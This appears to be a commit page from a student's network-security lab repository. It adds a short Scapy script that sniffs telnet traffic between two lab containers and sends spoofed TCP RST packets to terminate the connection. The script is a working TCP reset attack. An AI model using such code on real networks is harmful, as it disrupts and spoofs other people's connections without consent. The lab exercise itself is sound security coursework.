tcp lab almost finished and mitnick lab initialized
This commit is contained in:
14
Tcp/Labsetup/volumes/reset_attack.py
Normal file
14
Tcp/Labsetup/volumes/reset_attack.py
Normal file
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
|
||||
def spoof_reset(pkt):
|
||||
print("Detected TCP packet from {} to {}".format(pkt[IP].src, pkt[IP].dst))
|
||||
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
|
||||
tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags="R", seq=pkt[TCP].ack)
|
||||
res = ip/tcp
|
||||
send(res, verbose=0)
|
||||
print("Sent spoofed RST packet to terminate connection.")
|
||||
exit(0)
|
||||
|
||||
print("Sniffing for telnet traffic on br-603d3788c443...")
|
||||
sniff(iface="br-603d3788c443", filter="tcp and src host 10.9.0.6 and dst host 10.9.0.5", prn=spoof_reset)
|
||||
Reference in New Issue
Block a user